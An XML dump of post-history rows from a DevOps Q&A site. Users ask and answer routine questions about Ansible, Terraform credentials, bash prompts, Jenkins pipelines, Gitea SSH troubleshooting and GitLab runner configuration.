  <row Id="33569" PostHistoryTypeId="2" PostId="10951" RevisionGUID="4e3f0dc0-d387-4062-a433-9f3d8f1428ec" CreationDate="2020-02-29T05:27:59.737" UserId="677" Text="So there's something wild going on there with how that command is being called. It's not just being executed on each host (as one night expect) but it looks sus to me because the `ok` is from `10.240.22.44` but the contents of the variable indicates that the commands actually ran on `10.240.18.21` and `10.240.19.20`.&#xA;&#xA;Which I can only imagine happening if you were to run the task something like this:&#xA;&#xA;    - name: run command&#xA;      shell: /opt/confluent/bin/nodefirmware smm1&#xA;      loop:&#xA;        - 10.240.18.21&#xA;        - 10.240.19.20&#xA;      register: smm_output&#xA;&#xA;I assume that's not what you're doing because the loop there is pointless, but if you were intending to run the command on each host then not looping and just using the variable would work.&#xA;&#xA;In the likely scenario that you need to run the command on each host individually 1 at a time then you should be able to delegate the facts to those hosts and look it up in the `hostvars`&#xA;&#xA;Alternatively if the command really does need to run from that one host, registering results when looks are involved is a known PITA that [I believe the ansible docs cover what the result is][1] and it's pretty much universally going to be a pain to parse later.&#xA;&#xA;However I suspect that there's something else going on here and this is an [XY Problem][2] type thing and you are trying to achieve something specific but are now [Yak Shaving][3] other problems.&#xA;&#xA;&#xA;  [1]: https://docs.ansible.com/ansible/latest/user_guide/playbooks_loops.html#registering-variables-with-a-loop &quot;Registering Variables With a Loop&quot;&#xA;  [2]: https://en.wikipedia.org/wiki/XY_problem &quot;XY Problem&quot;&#xA;  [3]: https://en.wiktionary.org/wiki/yak_shaving &quot;Yak Shaving&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33570" PostHistoryTypeId="2" PostId="10952" RevisionGUID="523fc3bc-ee38-46e2-a3cd-60503ef6613a" CreationDate="2020-02-29T05:31:30.130" UserId="677" Text="If you're previsioning your raspberry pi SD cards then you would probably be best using something like packer to build the actual image (you can use ansible as the provisioner for packer if you are really keen) then once you have your pi image, burn it onto the SD card.&#xA;&#xA;If you need to make subsequent configuration changes them that would be where ansible fits most neatly in managing the ongoing configuration of the pi's" ContentLicense="CC BY-SA 4.0" />
  <row Id="33571" PostHistoryTypeId="2" PostId="10953" RevisionGUID="d5a10ab3-dda1-4a28-bdf6-6591ad98834d" CreationDate="2020-02-29T06:52:13.393" UserId="677" Text="Well... you would need to know what IP address you actually want. Is it a public IP address? Is it a private subnet address? Do you only have 1 IP address? A few things you would need to figure out.&#xA;&#xA;But, if we just assume that we want to have whatever ip address your VM thinks it's address is then:&#xA;&#xA;Add the following to your .bashrc&#xA;&#xA;    PS1=&quot;\[$(tput setaf 33)\][\u@$(ip -4 -o addr show scope global $(ip -4 route | grep default | head -n1 | awk '{print$5}') | awk '{gsub(/\/.*/, &quot;&quot;,$4); print $4}' | head -n 1) \w ]\[$(tput sgr0)\] \[$(tput setaf 34)\]\\$\[$(tput sgr0)\] &quot;&#xA;&#xA;To throw an IP address into your prompt.&#xA;&#xA;Now, because that's not really human friendly, let's break it down:&#xA;&#xA;Make the prompt blue (honestly I can't remember why I always wrap with `\[ \]` I just remember someone telling me I needed to do that, so I guess see what works for you:&#xA;&#xA;    \[$(tput setaf 33)\]&#xA;&#xA;This bit you already had figured out:&#xA;&#xA;    [\u@ &#xA;&#xA;This insanity to find the default IP address, it's a bit hard to break down without just reading through the `ip` man pages but basically we are searching for the interface marked as default then grabbing the IP address and stripping all the extra stuff out with awk/grep/head:&#xA;&#xA;    $(ip -4 -o addr show scope global $(ip -4 route | grep default | head -n1 | awk '{print$5}') | awk '{gsub(/\/.*/, &quot;&quot;,$4); print $4}' | head -n 1)&#xA;&#xA;I tend to want to know my ${PWD}:&#xA;&#xA;    \w ]&#xA;&#xA;Reset our colour scheme just to be stafe (I've found weird stuff happens when you keep layering colours without resting:&#xA;&#xA;    \[$(tput sgr0)\] &#xA;&#xA;Set some other colour:&#xA;&#xA;    \[$(tput setaf 34)\]&#xA;&#xA;Set the `$` or `#` prompt which is handy if you want it to be obvious if you are logged in as root:&#xA;&#xA;    \\$&#xA;&#xA;Then reset colour again:&#xA;&#xA;    \[$(tput sgr0)\]" ContentLicense="CC BY-SA 4.0" />
  <row Id="33572" PostHistoryTypeId="2" PostId="10954" RevisionGUID="c0c4c3bf-4fe6-4b06-bad9-0793411587be" CreationDate="2020-02-29T06:56:04.327" UserId="677" Text="Find is a command in Windows that does very different thing to find in a posix shell.&#xA;&#xA;And that would be the error you would get if you ran the Windows find (usually Windows find is located at `C:\Windows\System32\find.exe`" ContentLicense="CC BY-SA 4.0" />
  <row Id="33573" PostHistoryTypeId="2" PostId="10955" RevisionGUID="8c810816-0f35-4912-8cde-c57696d151ae" CreationDate="2020-02-29T06:58:09.643" UserId="677" Text="You could try `ansinble-console`&#xA;&#xA;It mostly feels like you just have a shell open, unless you use and ansible task name as your command, in which case prefixing it with `shell &lt;whatever you wanted to run&gt;` should work." ContentLicense="CC BY-SA 4.0" />
  <row Id="33574" PostHistoryTypeId="2" PostId="10956" RevisionGUID="6e0cb46c-7b53-4379-bc5f-3ebc1ca7a2db" CreationDate="2020-02-29T07:06:57.740" UserId="4115" Text="As far as I can tell, there is no native functionality in Active Choice Parameters to load the Active Choice code from SCM.  There are a couple ways to build this functionality yourself, however they're both clunky solutions that can be difficult to debug.  (Unfortunately I can't copy any example code from my work right now because I'm at home on my personal computer.  Remind me after the weekend is over and I might be able to find some example code snippets to go along with these suggestions.)&#xD;&#xA;&#xD;&#xA;* Your Active Choice scripts can clone a repo, read in a file, and eval it.  This is made quite difficult by the fact that Active Choice scripts don't have any access to the Pipeline DSL, so you can't use any of the steps you would normally use in Pipeline code to clone a repo like `scm` or `git` or `withCredentials`.  There are also many other considerations you'll need to take into account which you normally can ignore in Pipeline code, like ensuring that you run the clone inside a temporary directory and so on.  Ultimately I found this too difficult to do so I have been using the second solution instead:&#xD;&#xA;&#xD;&#xA;* You can write a separate &quot;meta&quot; job that updates the parameters of your actual job and injects the Active Choice groovy scripts into its parameter configuration. I set this job to run on a hook on the repo which contains my Active Choice scripts, so every time I push to that repo, it updates the Active Choice groovy scripts.  This does rely quite heavily on the Jenkins Java API (which is available in Active Choice groovy scripts), so you'll need to get familiar with the ins and outs of that API.  That API can be quite a maze, especially for Pipeline-related endpoints (since Pipeline source code is heavily modularized and spread out across many repositories and API docs)." ContentLicense="CC BY-SA 4.0" />
  <row Id="33582" PostHistoryTypeId="2" PostId="10959" RevisionGUID="3dc344ce-f375-4448-b08e-553871dbf27d" CreationDate="2020-03-01T03:14:08.057" UserId="19980" Text="I'm trying to use terraform to manage AWS resources and trying to set up the credentials configuration. I'm following the official documentation: https://www.terraform.io/docs/providers/aws/index.html&#xD;&#xA;&#xD;&#xA;My first idea was set a shared credentials file so I configure it:&#xD;&#xA;&#xD;&#xA;- ~.aws/credentials&#xD;&#xA;&#xD;&#xA;        [default]&#xD;&#xA;        aws_access_key_id=****&#xD;&#xA;        aws_secret_access_key=****&#xD;&#xA;&#xD;&#xA;- ~.aws/config&#xD;&#xA;&#xD;&#xA;        [default]&#xD;&#xA;        region=us-east-1&#xD;&#xA;        output=json&#xD;&#xA;&#xD;&#xA;- app/main.tf&#xD;&#xA;&#xD;&#xA;        provider &quot;aws&quot; {&#xD;&#xA;            region = &quot;us-east-1&quot;&#xD;&#xA;            version = &quot;~&gt; 2.0&quot;&#xD;&#xA;            profile = &quot;default&quot;&#xD;&#xA;        }&#xD;&#xA;        &#xD;&#xA;        terraform {&#xD;&#xA;            backend &quot;s3&quot; {&#xD;&#xA;                bucket = &quot;example-bucket&quot;&#xD;&#xA;                key    = &quot;terraform-test.tfstate&quot;&#xD;&#xA;                region = &quot;us-east-1&quot;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;When I run `terraform init` I receive the following message:&#xD;&#xA;&#xD;&#xA;    Error: No valid credential sources found for AWS Provider.&#xD;&#xA;            Please see https://terraform.io/docs/providers/aws/index.html for more information on&#xD;&#xA;            providing credentials for the AWS Provider&#xD;&#xA;&#xD;&#xA;I have already tested the credentials using aws cli and it's working perfectly.&#xD;&#xA;&#xD;&#xA;After that, I tried to configure static credentials in main.tf like this:&#xD;&#xA;&#xD;&#xA;    provider &quot;aws&quot; {&#xD;&#xA;        region = &quot;us-east-1&quot;&#xD;&#xA;        version = &quot;~&gt; 2.0&quot;&#xD;&#xA;        access_key = &quot;****&quot;&#xD;&#xA;        secret_key = &quot;****&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Same error...&#xD;&#xA;&#xD;&#xA;I decided to test with environment variables and then it worked. But now I want to know why I could not configure with static variables or shared config file. All this cases was described in the official docs, what am I doing wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33583" PostHistoryTypeId="1" PostId="10959" RevisionGUID="3dc344ce-f375-4448-b08e-553871dbf27d" CreationDate="2020-03-01T03:14:08.057" UserId="19980" Text="Terraform: can't connect to AWS provider using shared config file or static variable" ContentLicense="CC BY-SA 4.0" />
  <row Id="33584" PostHistoryTypeId="3" PostId="10959" RevisionGUID="3dc344ce-f375-4448-b08e-553871dbf27d" CreationDate="2020-03-01T03:14:08.057" UserId="19980" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33585" PostHistoryTypeId="5" PostId="10897" RevisionGUID="54cbdb37-cb71-474f-9078-2a60179c3713" CreationDate="2020-03-01T06:50:16.700" UserId="16894" Comment="Spelling, formatting" Text="I want to customise my terminal on an Amazon linux device. &#xD;&#xA;I have colours using `$(tput setaf 33);`, user name with `/u` but the IP address not there.&#xD;&#xA;```&#xD;&#xA;#blue=$(tput setaf 33);&#xD;&#xA;PS1=&quot;\[${blue}]\u$(tput sgr0)&quot;&#xD;&#xA;PS1=&quot;${blue}[\u@\w $(tput sgr0)&quot;&#xD;&#xA;PS1+=&quot;&quot;&#xD;&#xA;export PS1;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="33586" PostHistoryTypeId="4" PostId="10897" RevisionGUID="54cbdb37-cb71-474f-9078-2a60179c3713" CreationDate="2020-03-01T06:50:16.700" UserId="16894" Comment="Spelling, formatting" Text="How do I add my IP address to the start of my terminal using the bashrc file?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33587" PostHistoryTypeId="24" PostId="10897" RevisionGUID="54cbdb37-cb71-474f-9078-2a60179c3713" CreationDate="2020-03-01T06:50:16.700" Comment="Proposed by 16894 approved by 40 edit id of 1151" ContentLicense="CC BY-SA 4.0" />
  <row Id="33588" PostHistoryTypeId="2" PostId="10960" RevisionGUID="6f7a2141-7160-4ebd-9d01-0fcc0daa56bf" CreationDate="2020-03-01T07:47:11.497" UserId="19952" Text="If you want to create separate key pairs that are not dependent on your personal keys, the easiest way is to use a separate GPG home directory for each. For example, to create keys for &quot;projectB&quot;, first create an empty directory, then tell gpg to use that dir as its home:&#xD;&#xA;&#xD;&#xA;    mkdir projectB-gpg&#xD;&#xA;    gpg --homedir ./projectB-gpg --gen-key&#xD;&#xA;&#xD;&#xA;That will do what you want, although you will now have the problem of distributing the private keys and passwords securely to each environment.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33591" PostHistoryTypeId="2" PostId="10961" RevisionGUID="651364f2-c6d4-4ae0-8e90-f582e85918c6" CreationDate="2020-03-01T15:53:40.697" UserId="47" Text="Your PATH may have somehow changed and you're now hitting the Windows `find` instead of the *nix-compatible one.&#xD;&#xA;&#xD;&#xA;Try specifying the full path, i.e. `/usr/bin/find` (that's what I see on my windows bash shell when I check with `which find`) instead of just `find` in your build process command." ContentLicense="CC BY-SA 4.0" />
  <row Id="33599" PostHistoryTypeId="2" PostId="10964" RevisionGUID="7d58a7c1-7351-4a2c-9bce-2bf35ff25388" CreationDate="2020-03-02T08:10:18.940" UserId="18158" Text="I have 3 components of my architecture running in 3 separate Azure App Services. Each app service has 4 outbound IPs. So whenever I have to deploy my app onto the client's premise, I have to whitelist 12-16 IPs on their on-premise Firewall. &#xD;&#xA;&#xD;&#xA;Is there any way I can deploy a NAT which uses only 1 public IP and I can provide just 1 IP to the client?&#xD;&#xA;&#xD;&#xA;If I manage to make this architecture work then how would I modify my API calls to these services, since at the moment I'm using their 1 public IP to access their individual service, with just 1 IP how will I distinguish API calls made to different app service." ContentLicense="CC BY-SA 4.0" />
  <row Id="33600" PostHistoryTypeId="1" PostId="10964" RevisionGUID="7d58a7c1-7351-4a2c-9bce-2bf35ff25388" CreationDate="2020-03-02T08:10:18.940" UserId="18158" Text="Mapping Outbound IPs to 1 IP in Azure App Services" ContentLicense="CC BY-SA 4.0" />
  <row Id="33601" PostHistoryTypeId="3" PostId="10964" RevisionGUID="7d58a7c1-7351-4a2c-9bce-2bf35ff25388" CreationDate="2020-03-02T08:10:18.940" UserId="18158" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33602" PostHistoryTypeId="2" PostId="10965" RevisionGUID="ef2095df-060b-4aac-97d8-5a484d4f1593" CreationDate="2020-03-02T09:39:23.667" UserId="19143" Text="Unless you do something distro-specific (i.e. something which depends on the specific version of Windows) there should be no issues." ContentLicense="CC BY-SA 4.0" />
  <row Id="33603" PostHistoryTypeId="2" PostId="10966" RevisionGUID="28377173-99d8-48ef-9fe4-d7cffb186887" CreationDate="2020-03-02T09:53:13.683" UserId="19143" Text="I don't think I can help you with this, but I think I can suggest you where to look for a relevant information.&#xD;&#xA;&#xD;&#xA; 1.  You can report any status check to your PR using Status API (https://developer.github.com/v3/repos/statuses/)&#xD;&#xA; 2.  You can configure which Status checks are required from PR (https://help.github.com/en/github/administering-a-repository/about-required-status-checks)&#xD;&#xA; 3.  Since pipeline is actually groovy code, calling Status API should not be a challenge. (Example with CURL - https://www.openmakesoftware.com/restful-json-api-calls-jenkins-pipeline/, example using native groovy - https://www.deployhub.com/native-groovy-api/)" ContentLicense="CC BY-SA 4.0" />
  <row Id="33604" PostHistoryTypeId="6" PostId="10964" RevisionGUID="75c8d343-fa78-4fcd-99b8-1ab6371a9601" CreationDate="2020-03-02T10:12:18.300" UserId="18158" Comment="Added Tags." Text="&lt;azure&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33611" PostHistoryTypeId="2" PostId="10969" RevisionGUID="0b702b84-9166-4f6a-b697-b328175f9377" CreationDate="2020-03-02T12:16:58.230" UserId="19994" Text="Here I ran for ap-south-1 region-&#xD;&#xA;&#xD;&#xA;a=`curl 'http://169.254.169.254/latest/meta-data/instance-id'`;aws autoscaling describe-auto-scaling-instances --instance-ids $a --query 'AutoScalingInstances[0].AutoScalingGroupName' --region ap-south-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33612" PostHistoryTypeId="2" PostId="10970" RevisionGUID="660b91dd-e9f9-475f-880a-506087390d4d" CreationDate="2020-03-02T12:21:38.953" UserId="17329" Text="The alert is broken, it is fixed in further release version of the mixins, we need to apply on(job) infront of the histogram to fix it. Example: apiserver_client_certificate_expiration_seconds_count{job=&quot;apiserver&quot;} &gt; 0 and on(job) histogram_quantile(0.01, sum by (job, le) (rate(apiserver_client_certificate_expiration_seconds_bucket{job=&quot;apiserver&quot;}[5m]))) &lt;  60432131800 and yes, that means your certs are not being tracked..." ContentLicense="CC BY-SA 4.0" />
  <row Id="33618" PostHistoryTypeId="5" PostId="10947" RevisionGUID="7298be18-e885-4c9f-a730-80acb7dc94b5" CreationDate="2020-03-02T16:42:25.910" UserId="19966" Comment="added 55 characters in body" Text="I encountered the same error. The Service port needed a name added to it. [https://github.com/istio/istio/issues/19966][1]. Make sure your *beta-optimus* service port has a name. &#xD;&#xA;&#xD;&#xA;https://istio.io/docs/ops/deployment/requirements/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/istio/istio/issues/19966&#xD;&#xA;&#xD;&#xA;    ports:&#xD;&#xA;        - name: https # Use http or https&#xD;&#xA;           protocol: TCP&#xD;&#xA;           port: 8080&#xD;&#xA;           targetPort: 8080" ContentLicense="CC BY-SA 4.0" />
  <row Id="33619" PostHistoryTypeId="5" PostId="10946" RevisionGUID="cff0e099-3e0d-4f00-a745-0b4bc730fe05" CreationDate="2020-03-02T16:43:04.390" UserId="19966" Comment="added 104 characters in body" Text="I encountered the same error but with a different issue. The Service port needed a name added to it. [https://github.com/istio/istio/issues/19966][1]. And they need to follow the format (protocol-suffix) https://istio.io/docs/ops/deployment/requirements/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/istio/istio/issues/19966&#xD;&#xA;&#xD;&#xA;    ports:&#xD;&#xA;        - name: https # Use http or https&#xD;&#xA;           protocol: TCP&#xD;&#xA;           port: 8080&#xD;&#xA;           targetPort: 8080" ContentLicense="CC BY-SA 4.0" />
  <row Id="33620" PostHistoryTypeId="5" PostId="10969" RevisionGUID="752b799b-ce09-4c0c-abc5-f70f008a4974" CreationDate="2020-03-02T16:51:32.613" UserId="354" Comment="fix formatting" Text="Here I ran for ap-south-1 region-&#xD;&#xA;&#xD;&#xA;a=`curl 'http://169.254.169.254/latest/meta-data/instance-id'c ; &#xD;&#xA;  aws autoscaling describe-auto-scaling-instances --instance-ids $a --query 'AutoScalingInstances[0].AutoScalingGroupName' --region ap-south-1`" ContentLicense="CC BY-SA 4.0" />
  <row Id="33627" PostHistoryTypeId="5" PostId="10772" RevisionGUID="a94efd4f-0d28-4ba8-9da5-13853f9c0abc" CreationDate="2020-03-02T20:25:08.643" UserId="18869" Comment="Following up with issue description/resolution" Text="My computer: Windows 10 Pro 1909&#xD;&#xA;&#xD;&#xA;I have a Gitea server running in my office, at local IP address 10.100.10.24, with SSH configured on port 22000. Gitea is configured to use port 3000 for HTTP.&#xD;&#xA;&#xD;&#xA;I'm able to access the Gitea website through my desktop, which is not the same PC that Gitea is running on, at URL `http://10.100.10.24:3000/.`&#xD;&#xA;&#xD;&#xA;Also, GitExtensions is able to connect to Gitea with the following SSH URL:&#xD;&#xA;&#xD;&#xA;    ssh://git@10.100.10.24:22000/afarley/[XXXXXXXX].git&#xD;&#xA;&#xD;&#xA;I started trying to set up TeamCity on my desktop to build this repository. However, when I configure this repo in TeamCity, I'm unable to connect. To drill down, I've tried to connect via ssh using the command-line.&#xD;&#xA;&#xD;&#xA;However, it seems that I'm unable to log in to the Gitea server via SSH; I **don't** get the expected response:&#xD;&#xA;&#xD;&#xA;    Hi there, You've successfully authenticated, but Gitea does not provide shell access.&#xD;&#xA;    If this is unexpected, please log in with password and setup Gitea under another user.&#xD;&#xA;&#xD;&#xA;Rather, the entire terminal just seems to hang.[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/f8UxS.png&#xD;&#xA;&#xD;&#xA;Things I have checked so far:  &#xD;&#xA;&#xD;&#xA; * The keyfile I'm pointing to (id_rsa) is PEM-formatted by exporting OpenSSH format from PuttyGen  &#xD;&#xA; * id_rsa has been set to 400 permissions via 'chmod 400 id_rsa' (does this make sense? I'm using Windows 10)  &#xD;&#xA;&#xD;&#xA;The issue feels similar to this:&#xD;&#xA;https://github.com/PowerShell/Win32-OpenSSH/issues/1334&#xD;&#xA;&#xD;&#xA;But the discussion for that issue seems to go dead around Jul 9, 2019. I can't believe that the openssh client on Windows 10 is this broken; am I doing something else wrong?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;Here's what I get if I add the `-v` flag:&#xD;&#xA;&#xD;&#xA;    PS C:\Users\alexa\.ssh&gt; ssh -v git@10.100.10.24 -p 22000 -i C:\Users\alexa\.ssh\id_rsa&#xD;&#xA;    OpenSSH_for_Windows_7.7p1, LibreSSL 2.6.5&#xD;&#xA;    debug1: Connecting to 10.100.10.24 [10.100.10.24] port 22000.&#xD;&#xA;    debug1: Connection established.&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file C:\\Users\\alexa\\.ssh\\id_rsa type -1&#xD;&#xA;    debug1: key_load_public: No such file or directory&#xD;&#xA;    debug1: identity file C:\\Users\\alexa\\.ssh\\id_rsa-cert type -1&#xD;&#xA;    debug1: Local version string SSH-2.0-OpenSSH_for_Windows_7.7&#xD;&#xA;    debug1: Remote protocol version 2.0, remote software version Go&#xD;&#xA;    debug1: no match: Go&#xD;&#xA;    debug1: Authenticating to 10.100.10.24:22000 as 'git'&#xD;&#xA;    debug1: SSH2_MSG_KEXINIT sent&#xD;&#xA;    debug1: SSH2_MSG_KEXINIT received&#xD;&#xA;    debug1: kex: algorithm: curve25519-sha256@libssh.org&#xD;&#xA;    debug1: kex: host key algorithm: ssh-rsa&#xD;&#xA;    debug1: kex: server-&gt;client cipher: aes128-ctr MAC: hmac-sha2-256-etm@openssh.com compression: none&#xD;&#xA;    debug1: kex: client-&gt;server cipher: aes128-ctr MAC: hmac-sha2-256-etm@openssh.com compression: none&#xD;&#xA;    debug1: expecting SSH2_MSG_KEX_ECDH_REPLY&#xD;&#xA;    debug1: Server host key: ssh-rsa SHA256:KuxUCu3Lh34jm8eqvengtJ10f+TG/mgPSRzrT+oBxGg&#xD;&#xA;    debug1: Host '[10.100.10.24]:22000' is known and matches the RSA host key.&#xD;&#xA;    debug1: Found key in C:\\Users\\alexa/.ssh/known_hosts:1&#xD;&#xA;    debug1: rekey after 4294967296 blocks&#xD;&#xA;    debug1: SSH2_MSG_NEWKEYS sent&#xD;&#xA;    debug1: expecting SSH2_MSG_NEWKEYS&#xD;&#xA;    debug1: SSH2_MSG_NEWKEYS received&#xD;&#xA;    debug1: rekey after 4294967296 blocks&#xD;&#xA;    debug1: pubkey_prepare: ssh_get_authentication_socket: No such file or directory&#xD;&#xA;    debug1: SSH2_MSG_SERVICE_ACCEPT received&#xD;&#xA;    debug1: Authentications that can continue: publickey&#xD;&#xA;    debug1: Next authentication method: publickey&#xD;&#xA;    debug1: Trying private key: C:\\Users\\alexa\\.ssh\\id_rsa&#xD;&#xA;    debug1: Authentication succeeded (publickey).&#xD;&#xA;    Authenticated to 10.100.10.24 ([10.100.10.24]:22000).&#xD;&#xA;    debug1: channel 0: new [client-session]&#xD;&#xA;    debug1: Entering interactive session.&#xD;&#xA;    debug1: pledge: network&#xD;&#xA;    debug1: console supports the ansi parsing&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Edit: About 2 weeks later, I was investigating/making some changes to the apache configuration for this server and SSL started working. I'm not sure what the original issue was, but the short story is that I was able to get a clean integration between a self-hosted Gitea/TeamCity and GitExtensions on my desktop. &#xD;&#xA;&#xD;&#xA;There is no issue with the ssh command above (`ssh -T -v git@10.100.10.24 -p 22000`); it gives the expected result now.&#xD;&#xA;&#xD;&#xA;The issue *may* have been that the VM running Gitea had gone to sleep; our office machine apparently is pausing the Hyper-V VM when it goes to sleep." ContentLicense="CC BY-SA 4.0" />
  <row Id="33631" PostHistoryTypeId="2" PostId="10975" RevisionGUID="f48887aa-2578-46bc-a50b-811edf52d5b8" CreationDate="2020-03-03T06:05:37.053" UserId="9785" Text="I use `ssh username and private key` auth to download sources from Git, build the artifact and deploy it to my nginx server. Now I need to download an artifact as a zip file to Jenkins agent, prepare it and deploy to my nginx server. I can only access Nexus using username/password pair.&#xD;&#xA;&#xD;&#xA;Is there a way to run `scp mynexus.com/my_artifact.zip ~/my_artifact.zip` and pass username with password from Jenkins credentials?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33632" PostHistoryTypeId="1" PostId="10975" RevisionGUID="f48887aa-2578-46bc-a50b-811edf52d5b8" CreationDate="2020-03-03T06:05:37.053" UserId="9785" Text="Download an artifact from Nexus to Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="33633" PostHistoryTypeId="3" PostId="10975" RevisionGUID="f48887aa-2578-46bc-a50b-811edf52d5b8" CreationDate="2020-03-03T06:05:37.053" UserId="9785" Text="&lt;jenkins&gt;&lt;nexus&gt;&lt;ssh&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33634" PostHistoryTypeId="2" PostId="10976" RevisionGUID="38bc7126-2b5b-4170-b172-3c129ea1c5ee" CreationDate="2020-03-03T07:15:33.063" UserId="4115" Text="There are a few ways to do this, but by far the easiest is to put your credentials (either username/password or ssh keypair) into the Jenkins built-in credentials store and then use the [sshagent](https://jenkins.io/doc/pipeline/steps/ssh-agent/) step in your Pipeline script:&#xD;&#xA;&#xD;&#xA;    sshagent(credentials: ['my-credentials']) {&#xD;&#xA;      sh('scp mynexus.com/my_artifact.zip ~/my_artifact.zip')&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You may need to install the SSH Agent plugin to be able to use this step; I'm not sure if it's part of the default set of Pipeline plugins or not." ContentLicense="CC BY-SA 4.0" />
  <row Id="33635" PostHistoryTypeId="2" PostId="10977" RevisionGUID="09734d57-b1d0-4dca-9824-9f8026ace9e9" CreationDate="2020-03-03T07:55:08.137" UserId="354" Text="I'm writing an [Inspec profile](https://www.inspec.io/docs/reference/profiles/) which has a specific control that I want to skip *if the control is running inside a docker container*. This looks like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;control 'ssh daemon' do&#xD;&#xA;  impact 'critical'&#xD;&#xA;  only_if('not in docker') do&#xD;&#xA;    condition_expression&#xD;&#xA;  end&#xD;&#xA;  describe service('sshd') do&#xD;&#xA;    it { should be_installed }&#xD;&#xA;    it { should be_enabled }&#xD;&#xA;    it { should be_running }&#xD;&#xA;  end&#xD;&#xA;end&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I need the `condition_expression` to return false when in a container. Is there an elegant way to do this with ruby or inspec without shelling out?" ContentLicense="CC BY-SA 4.0" />
  <row Id="33636" PostHistoryTypeId="1" PostId="10977" RevisionGUID="09734d57-b1d0-4dca-9824-9f8026ace9e9" CreationDate="2020-03-03T07:55:08.137" UserId="354" Text="Condition to skip a test when running in a container" ContentLicense="CC BY-SA 4.0" />
  <row Id="33637" PostHistoryTypeId="3" PostId="10977" RevisionGUID="09734d57-b1d0-4dca-9824-9f8026ace9e9" CreationDate="2020-03-03T07:55:08.137" UserId="354" Text="&lt;docker&gt;&lt;inspec&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33648" PostHistoryTypeId="2" PostId="10980" RevisionGUID="041501fe-ef9a-436b-84c0-c755173063cd" CreationDate="2020-03-03T10:41:35.913" UserId="18007" Text="I have a pipeline which fails on script approval:&#xD;&#xA;&#xD;&#xA;    Scripts not permitted to use method org.jenkinsci.plugins.workflow.support.actions.EnvironmentAction getEnvironment. Administrators can decide whether to approve or reject this signature.&#xD;&#xA;    [Pipeline] End of Pipeline&#xD;&#xA;    [BFA] Scanning build for known causes...&#xD;&#xA;    [BFA] No failure causes found&#xD;&#xA;    [BFA] Done. 0s&#xD;&#xA;    [JobCompletedListener] Build result is: FAILURE&#xD;&#xA;    org.jenkinsci.plugins.scriptsecurity.sandbox.RejectedAccessException: Scripts not permitted to use method org.jenkinsci.plugins.workflow.support.actions.EnvironmentAction getEnvironment&#xD;&#xA;&#xD;&#xA;I went to in scriptApproval screen, approved the below:&#xD;&#xA;&#xD;&#xA;    signature: method org.jenkinsci.plugins.workflow.support.steps.build.RunWrapper getRawBuild     &#xD;&#xA;    signature: method java.net.URL getProtocol&#xD;&#xA;    signature: method java.lang.Throwable printStackTrace&#xD;&#xA;    signature: method org.jenkinsci.plugins.workflow.support.actions.EnvironmentAction getEnvironment&#xD;&#xA;&#xD;&#xA;but on the next run I'm getting the exact same error, and approval request in scriptApproval screen, comes up again. any idea what is the root cause of this behavior? is there a workaround for it?&#xD;&#xA;&#xD;&#xA;Jenkins is running as a container, and the Security plugin version is 1.60. BTW, the same job works perfect on other Jenkins which is VM&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33649" PostHistoryTypeId="1" PostId="10980" RevisionGUID="041501fe-ef9a-436b-84c0-c755173063cd" CreationDate="2020-03-03T10:41:35.913" UserId="18007" Text="Jenkins pipeline fails on script approval, although it was approved" ContentLicense="CC BY-SA 4.0" />
  <row Id="33650" PostHistoryTypeId="3" PostId="10980" RevisionGUID="041501fe-ef9a-436b-84c0-c755173063cd" CreationDate="2020-03-03T10:41:35.913" UserId="18007" Text="&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="33651" PostHistoryTypeId="5" PostId="1497" RevisionGUID="935df3af-38ef-4a2b-adc6-45cea47f600b" CreationDate="2020-03-03T11:29:18.033" UserId="3427" Comment="added 2 characters in body" Text="__Management Summary__&#xD;&#xA;&#xD;&#xA;Set the `pull_policy` to `&quot;never&quot;` in the `[runners.docker]` section by calling:&#xD;&#xA;&#xD;&#xA;    docker exec -it gitlab-runner \&#xD;&#xA;      vi /etc/gitlab-runner/config.toml&#xD;&#xA;&#xD;&#xA;__Detailed Description__&#xD;&#xA;&#xD;&#xA;It seemed the problem was a confusion with images and mounted volumes.&#xD;&#xA;&#xD;&#xA;The documentation says to configure runners in:&#xD;&#xA;&#xD;&#xA;    /etc/gitlab-runner/config.toml&#xD;&#xA;&#xD;&#xA;Which I did, but on the host machine.&#xD;&#xA;When running `gitlab-runner` in a docker container, it mounts a volume:&#xD;&#xA;&#xD;&#xA;    ... -v /srv/gitlab-runner/config:/etc/gitlab-runner ...&#xD;&#xA;&#xD;&#xA;This means, that the configuration file in `/etc/...` in the container is mounted to `/srv/...` on the host machine.&#xD;&#xA;&#xD;&#xA;In this file the `pull_policy` was not set, which defaults to `always`, what ultimately caused my problem in the first place." ContentLicense="CC BY-SA 4.0" />
